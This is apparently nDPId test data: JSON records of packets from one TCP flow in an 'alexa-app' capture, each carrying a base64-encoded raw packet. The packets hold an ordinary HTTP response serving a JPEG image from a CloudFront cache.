+00432{"flow_id":127,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2299,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":778079,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0x2dAAPIGduc0VD84rBAq2ABQyxh7572BMrTYfoAQAHa+FwAAAQEICmz6eucA9nTe"} +02397{"flow_id":127,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2300,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":778293,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx2hAAPIGcT40VD84rBAq2ABQyxh7572BMrTYfoAQAHaVlAAAAQEICmz6eucA9nTeSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcNCkNvbnRlbnQtTGVuZ3RoOiAxMzczNA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KU2VydmVyOiBTZXJ2ZXINCkRhdGU6IEZyaSwgMTAgTWFyIDIwMTcgMTc6MjM6MzEgR01UDQpYLUFtei1JUi1JZDogMjA0NjVmNTQtYzAxMC00MGU4LWI0YTktNmIzNjU4OGM2MzYyDQpFeHBpcmVzOiBNb24sIDI5IERlYyAyMDM2IDE3OjI4OjI5IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT02MzA3MjAwMDAscHVibGljDQpMYXN0LU1vZGlmaWVkOiBUdWUsIDA2IFNlcCAyMDE2IDE3OjE0OjMyIEdNVA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpBZ2U6IDE4MjA5MDQNClgtQ2FjaGU6IEhpdCBmcm9tIGNsb3VkZnJvbnQNClZpYTogMS4xIGI0MGRkNDI4ODg0NmIwMjgzMTNhYjk5Zjc5NzRkZmVhLmNsb3VkZnJvbnQubmV0IChDbG91ZEZyb250KQ0KWC1BbXotQ2YtSWQ6IGlnUTc0dnV1YWJnQlBJYnEybHMxcFZueXdsZGF3TlVnU3hMY3dtdUo0X2JQMkNwRFFnYXJWdz09DQoNCv\/Y\/+AAEEpGSUYAAQEAAAEAAQAA\/9sAQwACAQEBAQECAQEBAgICAgIEAwICAgIFBAQDBAYFBgYGBQYGBgcJCAYHCQcGBggLCAkKCgoKCgYICwwLCgwJCgoK\/9sAQwECAgICAgIFAwMFCgcGBwoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK\/8AAEQgA0gDSAwEiAAIRAQMRAf\/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC\/\/EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29\/j5+v\/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC\/\/EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29\/j5+v\/aAAwDAQACEQMRAD8A\/fyiiigAooooAKKKKACimyyxQRmWaQKqjLMxwBXN614+VCbfRUDHoZ3HH4D\/ABoA6K6vLWyj867uEjX1dsViah8QNNtyUsYHnI\/iPyr\/AI\/pXJ3d9d38pnvLh5GPdjnFRUAbV3471y4JEDRwj0RMn8zmqE+u6zc\/67U5znt5hA\/SqlFADnmmkOXmZvqxNIJHU5VyPoaTBPQUYI6igCxDqup2\/wDqdQmX6Smrtr4z8QWxGbwSAdpUB\/XrWVRQB1Vj8RImITUbEr6vEc\/of8a3NP1rTNUXNleI5xymcMPwPNec0qO8bB43KsDwQcEUAen0VxujeOr+zIh1IG4j\/v5+cfj3\/Gur0\/U7LVIBcWM4de47r7EdqAJ6KKKACig="} +02411{"flow_id":127,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2301,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":778601,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx2lAAPIGcT00VD84rBAq2ABQyxh758MpMrTYfoAQAHYCegAAAQEICmz6eucA9nTeooAKKKKACiiigAooooAKKKKACq2q6tZ6Pam6vJMD+FR1Y+gpNX1a10aza7um9kQdWPoK4LVdWvNYuzdXb5\/uoOij0FAE+u+I77XJf3rbIQfkhU8D6+prPorO1fxHDp13Ho9jZzX+p3C7rbTbQAyMOm9iSBGnq7EDsMnigDRJAGSayB4wtNQum0\/wppt3rdwjFZE0uINHG3o8zERIfYtn2rT0z4X3mukXnxJ1EXCHkaJYuy2ie0jcNcH13YT\/AGO9dnZW9lptrHY6daRQQRLtjhhjCIg9ABwBQBxVr4L+KOsgPe6hpOhxH\/lnEjXs+P8AeJjRT+Dir0PwZsJxnX\/HOv3xP3lW\/Fqv4C3WM\/qaufEf4ufDT4PeGbnxj8U\/Huk+H9Ls7aSe4vdWvkgRY0GWI3EbsDsMnkeor5g+Jv8AwWv\/AGUPB6XP\/Cv9J8S+NmtYJJWk0XTRDE+xGcorXDIxYhTj5cE96znVp01eTsXCnUqO0Vc+m0+CXw1H+u0e5nPrc6vdSk\/99Smlb4J\/DE8x+HniPrBqNxGf\/HZBX5N63\/wcO\/tc+JfCWmePPh98G\/AtlpOr2EN1A11a3lzLCJI1YRswnRSyk4J2gH061X8Pf8F\/f22P7OtprvwV8Pb25ncZik0y6VcbgCBsuBzyfXt1zXPLHYeLs7\/cdEcFXkro\/WWb4K+HI+dG8S+INPbsY9aknA\/4DceYv6VTufh38RdMy+jeMbDVEHSDVrLyZG\/7aw\/KP+\/VfEX7OX\/BfbQ\/HGq6r4R+NfwG1GxvdAvEtdW1bw3MslsJXhjm2rDM4k+USAN8x5IwME4+xPgp+2b+zn8f2jsvh58SrNtRkiEo0XUc2t4ULbdwhkwzrkY3JuHI55FawxNCo0lLVmc8NXpptx0XUlvPEeoeHjt8ceF7zSlHW9AFxafUzR52D3kCVpWt1bXtul3ZXEc0Ui5jlicMrD1BHBruGkVgVbBB4II61yOt\/CnSmnk1XwTenQr52LuLaLdazt\/01gyFJPdl2v8A7XatzAhqaw1C80y4F1ZTFHHp0I9D61iQ69f6XqUfh7xrpq6ffSnbayI++2vCP+eUhA+bvsYBh2BAzWrQB3fh3xRba4nkyAR3Cj5o88N7j\/CtWvMYpZIJFmhkKupyrKcEGu28K+Jk1qH7NdELcoOR\/fHqP8KANiiiigAooooAKKKKACiiigAplxcQ2sD3M7hURcsx7Cn1ynj3Wy8o0a3f5Vw0xHc9hQBka\/rc+uXxuHJEa8RR\/wB0f41RorH8R6vqH2qHwt4cZf7TvVLCV13LaQg4adx3x0Vf4mwOgYgAdqGp6rq2qt4U8IBDeKAb6+lTdFYIehYfxyEcrHn3OBjPT+E\/C2i+D7R4NNV5J7ht97fXDbprmTGNzt39gMBRwABxVTw3o2meFtKTSdMVtqktLNK26SaQ8tI7fxMTyTVT4kfEzwr8Jvh7rnxR8c6ibTRfDmk3GpatdLEXMVtBG0kjBVBLYVScAZNAHUXWp2ljbSXt5cxwwwoXlllYKqKBksSeAAOSTX5v\/t3f8F1tOt9C8VfDD\/gnQLDxn4v0WJd3iEMsto7JKPPislIK3Unlhwrn93uK7fMHFfnp+2V\/wVu+N\/7cHxF8U6Lc+PPEfhX4Z+JtKfStK8NaDqzRhLEkHzpvLOyeV9u5ycgD5AdoOfl34ZS+Ov2W\/i3Y6dqDQPc3Y+06BriNi11i1B3bhk4SQYw8R5HOAR05atdRTUd0dNGg5SXNsz6q8HfE\/UP2t\/FTeLPjD8SNU1+Lx9o81jcT6nePNMYZFaNx5ZYbGiO75AAFKdBVX9knx8vg3xpcfAr4phpNV8P6tPpWsJJLsWWe3Ij80YxkSQiNx1yH6Ac14t8T\/FV54A8YQ\/H3wXYLZ+FfEmrLcX9jZTjboetNt8xlyPlguWH03nGcuTXMftM="} +02418{"flow_id":127,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2302,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":778955,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx2pAAPIGcTw0VD84rBAq2ABQyxh758jRMrTYfoAQAHby2wAAAQEICmz6eucA9nTe37WnhyX45aN8dvBQmuLzXtJitvFNrZ7os3lqAIp2Kgg74mCN7xDPWvArOVZyjHXmV15NHvUacaSi39lq\/mn1\/rY7zwBrdt4M8D6j8LY5Z2vfCnivUtEaN0BwkVzI8DbSOMxPGB9BWr4e8QwW3jDTjPatbJJqMKy25Y7HBYnlOxOCTg9z05r5Q8YftMfEfWvil4m8ZeEvBqwWuv3NrfeXjjzRbJGzfMed20Nn1NRaZ+1R8b4b+PxCPCmZYI327YwVLshGSN33snp2596c6NSfvW1aV9Vu0OEox93WyfZ7L\/gH2\/8AsneMU8fTax4nF5DBN4u8Z6prMruqlfJExVAc5K4giGODnOOa9H+B\/jyLxLD4g+NVsyNfeIJhZ+FbWVsGHRrNmjhdc95ZRLKfYr1r8zfAn7a994J+HUvgjVNIm0e4k0aPTo54\/nVUcBHnUEfeMbM2Qev1r6Oh\/ac8O+Pvh\/4e8CfAi\/jOuXOnrpunXcBBXRdPiQLLcsOokC4C5Ckuw64qcVh6\/M1Fb2S7WXX7v1Hha9BxTk9k2159F99\/wP0Z\/Zk\/4K5ftZ+G\/E3iDwRFrWn694J8Mr\/Z663q8TXU7aquHe2gkDAvHGg8uQtuAdgFxjJ\/R79kL9uL4fftVaDHbWsLaX4khtTLfaPOrDeqFVkkhJA3IGdQQfmUsAcghj+IWnfFr4N\/s0\/ATRoZdDnW005EstF02zw17rV+SCUjTG55JHI3sc4ySSeK9f8A2FvEXx9+C3iy8\/bE8W+NVj8ba2sdnbeA4J92m6TpJlWU2b4wJJX2qXkBzuAx93JrC4+vSre8\/wB1HS76+nn+SFisDhqtHRfvZa2WyXn5fi3r3P2\/1vTdI8RaZLo+t2EdzbTDEkUq5B7g+xB5BHIIyK4i6\/tL4eXSWOuXkl3o0rhLPVZjmS1JOFinPcE8LL34Dc\/MzPgR8ePCPx\/+HNl8QvCUjIsyhL6xlI82yuAoLwv7jI57gg96667Frf2sljfW6TQzIUlikUMrqRggg9QRX00JxqRUou6Z8zOEoScZKzRnU+2uZ7Sdbm3kKuhyrDtXPac1x4M1mLwjqNw8thdE\/wBiXkrEspAJNs57soBKE\/eUEHlcneqiT0LQNah1uwW5TAkXiVM\/dP8AhV6vP\/DWtPoupLMzHyn+WYe3r+Fd+rK6h1IIIyCO9AC0UUUAFFFFABRRRQBX1XUI9L0+W+k\/5ZplR6nsPzrzmeaS4me4mYs7sWYnuTXT\/ETUCFg0tG6\/vJB+g\/rXLUAVNc1my8PaRcazqDERW8e4qoyznoFUd2JIAHckVm+ELK6063m1nWNp1PUmEt6VbIjH8EKn+6gOB6nc3VjWd4u1BNW8W2ug9bfS1W8ux2ac5EK\/8BAZ\/Y+Watf2r7\/rQB0H2\/8A2v1r8\/v+C7H\/AAUrt\/2W\/htpX7M\/w816OPxp8QYyb90f5tP0bdskdtvKGdg0Sn+6spGCor7dvPENrYWkt9fXCRQwxtJNLI+FRQMliewAGa\/nI\/aw\/aB8Af8ABRj9rfxJ8RfiG2pxo+qz2fhTXdLuWiuLHR4ppPIiCn5WGwlyrDBeR+m7NZVpqnBs1o03Umkjzm0\/ZJ+IWhaffeO\/2T3fxNp9o6yax4Cn3O209XspSSxwc5RuRkctXW+CPjn8Kvi38NtS+Dnxe027jij3fa9DvLMQal4fvEJIuEDEMHB43r16Edq0NC+Hvxd+ES+X8Bviho\/jaw8syRReYul6oM4ONrnyZWzg8MhPPHavJv2h9d1b47+LtJ0DRPBV5b+ONIvCL6+\/s5oL23AHzwXAPWLpjOQN3BxmvBq1p1J2fya6eq7H0NHDqK91avTla39P8tvQ5nU7P4l6kdY+EieLILjw1LERd6vu2RXtspVo5XUco4+X23rkU7wP8MPEOqi50fwF4aF88ECXEmuarEdgjd0="} +02419{"flow_id":127,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2303,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":779318,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx2tAAPIGcTs0VD84rBAq2ABQyxh75855MrTYfoAQAHZY+gAAAQEICmz6eucA9nTelUxpnnPPJ4IUHFe7fBX4Jr8QPCb+JvF7R\/8ACO6TL5NrGqgNqcq8NO3cxqeEXpjnvXR22oaZpnj+\/tLWFEUaLawLHGgAwiyhche3yj3\/ACrnjVc7pL19dD6OhlcKUYym\/wDO39fecn4Z\/wCCeF3qbzSeP\/iTKkkGli5EGnuIY9zEfKAgXGCeeKp\/Dz\/gnp4O8c+Cf7Xi+Jmt2F42vXFsbiG7crGqXcsQyN2PuoGzXtWofEq1mh0fxJZRARXUSwxGMNmRj8yj7uOoxz3468VmfDzxYnw4sYPB+vqWumvbnUI5Ilbbse5lk6leu2QAjsfbmlKjj3C+vQ9HlyNTjHRqzv8Ahb9T5e+N\/wCwZ8Y\/BvhzXdasL3TfGmj6VC0l7DJAkF4ic5dHCglhyeQScV8veEPFPi\/4P+K113wXcXFo8br9ttriHbJGp\/hZT1Ug9Rwc1+s\/h7xP4b8WfDb4iKnmG9j02YSNLGRtYJPkcj0weOMc9814R+0N+yd4Z+PXwu0rxF4V0mKw8X6dolvIl5FGAl2iwgskg\/iBGBXVhMbOm5Uqy7L70eLmmQUq8FiMG9bN23vZ9G\/yenocB+yN8d\/CXxS8dTfFb4n+MC2uaXA6WEV1IqQaRadMw7jhXOSWfknp0zn7Y+FfxT+JfxwtbfQvAmsv4a8OMGN145v7dUvLqP5VkXT7Q4GDn\/XS9M\/KBX5N2GhX3wv1uL4r6L4U2rol4sOt6XOFkignVuchjkg\/KyggjDZzxX3t8APir8Y\/Hfh238V+CPDtvp+m38isNd8TXnk26luSVto8yyDPA+4vAFPMcIowUoxuui6I8DAYhuo41HZ9X1fp\/X3H6QfsJ\/FjQv2Q\/iovgrw3rGpXHhLVpx\/wkTahdGeVriXaBqMrs2S4wNx5+TtwuP0vXUNyhlkBBGQQa\/Dm10fwVbafB4u+IHju\/wDHl6CuLGTbY6bbzKcbVtIeWxtPzSFzjB+n6nfsWftByfHX4FWPiLUMrqOnzyafqSMTuDx4Ksd3PMbIcnvmpyPF1HKVCpK\/VeXdf15lZ1g4qEa9NWWz\/R\/0+x7Z4gsbPxJpMuk3zsqyYMcqHDxODlZFPZlYAg+oqHwdrt1rGnyWmq7F1HT5vs9+qDAZwARIo7K6kMPTOOoNUv7WHr+tZ02qLo3iyy8QqcQ3RWx1DnjazfuXP+7Idv0lY9q+jPnDta7XwNqpvtLNnK2ZLc7Rnuvb\/CuKrU8IagbDXIsthJv3b\/j0\/XFAHeUUUUAFFFFABRRTZZFiiaVuiqSfwoA4LxVefbdeuJAchX2L9BxWa7pGhkkYKqjLMTwB60+SRpZGlbqzEmuc+K2otpnw91SVJCjTW\/2ZHB5UysIgfw35oA4fSNe+3JPr0rfvNTuGumz1CtgRr+EYRf8AgNW\/7aT++PzrjRr6qNsYCqOFVegHpR\/wkH+1+tAHGf8ABQz40QfB39iL4n\/ECZIpPsvhG6gSOV2Cs9wv2dASpB+9KOhzX4C\/DL4X\/DXxHaRL4J+KOv6FftbBzbanHBe27lj9z5l8zHbO7J9s4r9X\/wDgur8X9O0H9itPhfq1jdy2\/j\/xRZ6RNPYXghmtVj3XokXIYN81qikMCMP9K\/L74R\/AHwnrd5Hb23x98S6cbaND9omgsZlV8\/cGY1J65xmvPx1RRjZux6GAhzT2uehaV+z18Xo9HHiXRPE\/w58SW1lA1w0UV\/c6Zdz7AGKAOsiM3B54Xg5NcX8KPD\/jfxAb3xBrlrc2GoeKb0aYJ5XR5khyfOXcpJykYmBJA52kE5475vBNp4YtLnw9YftayC6MDxRx6t4KhKMCpHzOkinoSMryOlZPwhvdas9W0DStZeNRHc6m0dzBINsu0RIGXJO0HzGOOozyK+fcuZSen47H2WWwi6yi7\/hvtuvU9T1O+sfCfhK70OysxDa2umrb28I="} +02412{"flow_id":127,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2304,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":780432,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx2xAAPIGcTo0VD84rBAq2ABQyxh759QhMrTYfoAQAHbKyAAAAQEICmz6eucA9nTeigYCqgAwD1AGc145fHUD8RtZms0iElraWiRFz8uS8h7duR0969K8dOF8N6nNFeBmaHKJt6j7xHH1A+grxxvFEb\/EDWbea5KCa3s0kYEggDgtnseSa2wkL6rv\/ke5mdWMLRfb9GdHrVpNqt5a3WvaNYSX01vHJctIqy\/OFwcO6AkZBAyBxUklhpmlSbrPRNO38hSbWIgMTjAyoHJP0qazh0r7DbjUNdVZRb7JZrrCtOwUnKhVC8oN3AA64qK+t9D1C6GmW+v2yGWL5oWJ3YLEZxjkdOa9x8p8knLc9H+GRvrnwV4zN9awK76RO1sIPmVYTBIAeR8uQeQM9OvOBY8J6j9j0bwpffaVdp9DtHYd8mME59srWJ8Oby20fw34tt18SyahBJpd1t8yRD5R2sGQbQDjO4DJJHTOMVgeDtZhvNI8NiPUJTGNFtFZWVcAiNOByPevn68HLGVPl+R9dgqqp4Kl6P8A9KR4P+238MrPwZ8b7y40u0EVl4rsGW6ts4jM65ZcnoDtDqPqO1RfsMx\/GXxBo9\/4M03xF4XtLfTb1kH\/AAkFzNK8kYy2FhiAJHy92HPSuv8A29fE1prGo6RcJdBmguo2wVIJUybT37A\/rXl\/7NXgiHxR8RNVe5+LeoeGpJZYg8Wm2kMzBgMZ3OR254xjOK9mL58rTqbnw2a040s7l7LZvpbqr2+8+vvhzp980dxb+IP2k72JAA5tvDHhmC1jIBwMSyCSQcE+hOK+9\/8AgkT8VPCNprHi74R6HqurXlw9vDrFxd6zqbXckzZELFXJ4XBj+UYGSeOtfnRafs9+CdFu4bKw\/ab8cXCyoxmuoNOsokBUMcbTGWIODz6k9a+jP+Caer6V8D\/2nNPSPxN4l1y88UwTaM7a9eo8VpDhZ9yCNEXeWiUYOeGxwTk+PhZQpY2ElJWfl307HRi4zqYGcXF3Xd3217n61\/20v98VBqd3b6rp8+m3EuEniZGZTyuR1HuOo+lcp\/wkOP4qP+Eh\/wBqvrT5E9r8D67L4k8J2OsXO3z5Idt0F6CZCUkA\/wCBq1aysyMHU4IOQa4L4D6v9s0jUtOLcQX\/AJsanskiAn85FkP413lAHpWn3QvbGG7GP3kYY49SKmrJ8Ezmfw9EpPMbMv65\/rWtQAUUUUAFVtak8rSLp\/S3f+RqzVPxAM6Hd4\/592\/lQB53XAftI6j\/AGd8O1y2BNqMSn\/gKvIP1QV39eVftg3Js\/hXHdZ4TUh\/6ImFAHi3\/CTA8+afzo\/4ScZ\/1h\/OvNv+Es\/6a\/rR\/wAJZn\/lr+tAHzT\/AMF3fDeneOf2ZfC+tN4zutI1HR\/G0TaZLHCksUjPa3G9ZEbGRsQ4IIwcda+DvhD8C\/Huu3X2K0\/aQsraV1D7H8EI+7CnnmYHoDzX2R\/wWg19dS\/Zw8MWUfia30+4bx\/am2+22RngmYWl3lJFDAgbSTkZ5UDHNfN37Mnwr+L3iK+gu9A+KPw+hdlDK174dvdgcD7pIlAUnA56HgdK83MG1Hp8z0cvScuvyOn1f9kf4l6P4VbxJdftTeHrx4LR5YLS7+H4EcjKPu7luM4yAMgZGM44rhZZvFK2Phq6ngsbO+sluhcQIhkV1l8g5AiLFQwRypJzjBI6ivoLXvA37RWleD9V1QfEr4ZapDNpkkjW0ekX8eMBshZGkbY+M8kH37mvkPx7458Q+Aj4f1rxILS2h1a1Z7ay1OcqU8kKhIMQk3A7+DkcYyBmvEwTVau1O1ltbzTPq4yeGoOVO93691+tj17UvEOq6x4RutK2oszqqQSPFLuIAPbb8w3Y9sY+tcDpnwx8YzeKpvFt\/pyNBeRxrJDBZXQKyLg7kJXjkMMMScHPJANcmn7QsMEa6jdavocRhBJd5bnAHpzDjvWla\/te2V0I7C4ufDt5JFGqqi3NwdrZDAhfIOOO3pXsU6M="} +02435{"flow_id":127,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2305,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":780919,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx21AAPIGcTk0VD84rBAq2ABQyxh759nJMrTYfoAQAHYeCgAAAQEICmz6eucA9nTeQhH3fzM62Pr15L2r1W2h2OteGb8aVZeHbG3GnS28sckMd21yqsEcHG3ggYyMr0zkYqLwl4C8RadM1\/qWrpO8byFZ3mm3qHlkYR7yfu7TGMAZ\/d9cHjDi\/aM0PWb83vjLX9PtYkZvIt7bT7g5JABJYxA4AC8Y7fl01v8AtMfA280a4VPGAl3FQFjgnIO3IOP3eODkHPP49Dlppf8ABKjVc53drryS\/As6xJr+i3V3D4ZubdIr8yreQl3lMqtCV4P8J3bDnnO3BrP8B6J4q0iwtNF1O\/spDZW0ccBgWQEALjJJByeCO3GOM5JoL8b\/AAEZE+066qqcugGnXGSOuR+7\/HrT9N+OPwzngk1Kx8RmeEptW4SxuCCDjHIj6EHj61Ps8PbQr61iXJa6LZetjlP2ofhb4l8RWEPiuG+tEttPiiEqPv8AMY7wQQfu46gjGeBz1z5Z8BfBPi3xH4516IfFuTwqibJGT+w4bwyfKGydzYxkcfrjpXtvxW+Ofwy1T4U3egWPiIfarhUWGF7OYB3LAcEpgc9D9a8j+AfgjxJ428ea3LY+OtK0MLZxrJFq9k8xkORnb5UoAHYZzkdh0HVG31RpbI8PM03jVN7uzdj3PTPhl8TbbRkuLT9sxlRnItg\/gq12SNnLYZXPrn+dfQP\/AAT\/APC\/jG7\/AGpfDZ8b\/tKXniG3s3nvk0mPwpb2avPFE3ll5RuOMAnC4zxz1B8V8MfB\/wAd2\/h+HVP+Fy+EZF09t0UV34XuztOBk7hcYHQDjnAHGBXt\/wCx4\/iPSv2itB8R+KPHvg64RROkUHh\/SZ4bi4le3lTa5eZwoXzNxyOcLg189CSeMhe3xLou68jukv8AY52Ul7r6vt6n6Y\/8JOMf6w\/nR\/wk4z\/rD+deb\/8ACWf9Nf1pD4s\/6a\/rX1x8ifUP7LOs\/btW1eANndawn\/vh3\/8Ajgr2avnP9h\/Ujqer6tMGyEtSp\/76jx\/WvoygDsfh5Ju0mWP+7cH9QK36534dA\/2fcH\/psP5V0VABRRRQAVBqsRm0y4iA5aBwPyNT0EAjB70AeX15d+2Np0l98BNXniTLWm2YDGecMg\/9Dr1a9tza3ktsw5jkK\/ka5z4o+Hv+Eq+Hes6AIPMa40+Ty4\/7zqNyj\/voCgD8xP8AhMh\/z1\/Wj\/hMh\/z1FeYeJdcuPDXiK+8PXUp8yxu5IGLDGdrEZ\/HGao\/8Jv8A9Nv1oA8p\/wCCr7T\/ABP+HvhnwPoXiXTbfVLTWW1NbLUmkRLiEQyQkh41YqwMowCOeeRgZ8f\/AGbfhd+1jZ3Nu\/gx\/AVykTCQw3vimSPIVepzBn0PQ8ipf+Ch2mfE\/wAU+P8Awv4m+HFnaao1rp0sFzpR1JIJgDJuEo8wbSvG3rnPYjkcz8Jof2vdBj+1Wn7Ot7chGAE1v4qsFMfbGTJx\/EPx\/GvKzDnaa0+b\/wCCenl\/KpJ6\/Jf8Bns3iXXf2kNJ0TU7fU\/C\/wAOxZTxNBPFa+OZgRIoOSvmQDcevBOD2IzXnQ0eXxe\/haDVLCe1ksdDusAsUcDzFjdT0JUruUj7rAEjIIJb40uPj54l024m1P8AZa1q3MMSm4ng8VadMQdpwxAbknG4qOeD71a8B6rP4hk0eWe1eCRvCbmJ7hGXnz3JyGAP8O0\/1FeHTi6d3ZLVbO\/R+bPs8tkp1bN39VbqvJGh4s+EXhO68DXemz6NbLunBLqpDAZX5Rjn16Vxvw\/sNBt\/ihr+oy24a6kngUtLKT5oEUbfPk\/Ocopy2Tlc9c17X4gSKfw9Pqd3EHjjvApAGAwJ5Hv0FeF+F4Z5\/HfiK9j2lbW9jypXACm3Rev4jj3NaYaXNTlf+tj28coxxNJ2vr+Vzr\/GJsNdv7G3hg+zH7S8hu4n8tlYeXhtwOQdynuKzvgz8OPCi6LPdxWwUza3eJKpcmMFbuYKQvQHHcc="} +02426{"flow_id":127,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2306,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":781328,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcx25AAPIGcTg0VD84rBAq2ABQyxh7599xMrTYfoAQAHYhjgAAAQEICmz6eucA9nTeOD1rorXS4riezluYcecd0bRFcKTnOWP0Oce1W\/gZZWl5p8mlTyEyJ4i1KPavBAN7Lk9v8mic1Gjyroa06XPi1OW7X+Rt6n8MPDg0u21d9PkhkgtZTAySlc5ikBDbcblwTwcg49qyPAuk+GdO+BdjqujwiM\/2fZfbA7l13m3UHaDkKD6DA4J6nNekeL9IvYfC8dzp97bRXEduxd7iMyKyGORcbQ46+ueK8C+HvirWbbwRaaJYXGlq11psLNp6W0hPllBsIL3A4HK9zz+eOFUq6aT7aa92XjKtPDOMnHo9dP7vd\/10MT9rJNMHwjsNXlsltruOYRyxIxQbdwIBTOCQc4JHAJweTXkXwH8H+O\/GPjvUNS8J3vh2BRAqFNfvprf58jOBHG+RzjJwCMnpXcfth6n4oh8LWtjqunWrwF3dXWOQSRvsTIP79x0KnkDg8V5X8DE+J2p\/Fa+svAXgltZuI7ZS1uL+O1ZGyOAZtuTkY+XjrgmvosNB0svf9fmfnme1o180TS7fP7rn1rpXwE\/aW0uwktby8+GM6RRiSSI+L7rO3DHChYAT0bgdMY4rv\/2c\/hf8U\/D\/AMUtC+IniyLwfZaXayMJDp+v3M1wzFNq4SWFOSSuctnA6cHPnHhHSv2zNNbfc\/sx3NwJ0wWn8Y6ck7qCdgDGbJA3dCMdDxXf+Go\/2qzqVh\/wmX7Ol7oVhb3CG51ifxXYzJCufvGOJmZifu8Dqewya+fqTqwxEXFR3XVf5nZShSlQkpOVrPo\/z5T7DPjIE\/63H40o8ZZ\/5a\/rXkX\/AAm\/\/Tb9aP8AhN\/+m3619ifGn6Pf8E3oJL3wrrfiBwdss0aRtjqMuD\/6AK+mK8U\/4J\/+Dp\/Cf7Nmjz3kJSbUt1ywYYIz1B+jb69roA7P4fRbNFeT+\/Of0ArdrN8JW\/2bw\/bKRyylz+JJ\/lWlQAUUUUAFFFFAHDeN7L7JrryhcLOocfXof1H61kV2fj3TTdaWt9GuWt2yf909f6VxlAH4+f8ABUf4aXXwP\/aZvrqC2aPTdfT7VZOBhcgAMo+ilM+5NfNx8aekh\/Ov1g\/4K9fst3Px8\/ZzuPFvhWwMuv8AhYG7tFjTLzIAcx+pyCwA6ZYE\/dr8SG8XOjFHfBHBB7UAcb+2N4u8Uad8QvD\/AIh0vw3qeo2n2Bo3OlwCZ1dJdxBQHIGGX5sY7U7wX8ePEieHTZ6z8GvH8dujrPFNZ+GJsfKrLuJz0+YnHr3FcN+1D8Qte0bxX4e1HSL2WFVt51aRQ5U5ZMg7Qe3rU\/w4\/aG1TT76MT\/Fe\/hgnXZK2Jk8vnJONvQ8\/XP5+ZjqUZ6tXPSwNVwdr2O3b4mavLpeo61F4M8fxWksS+fd3HhWf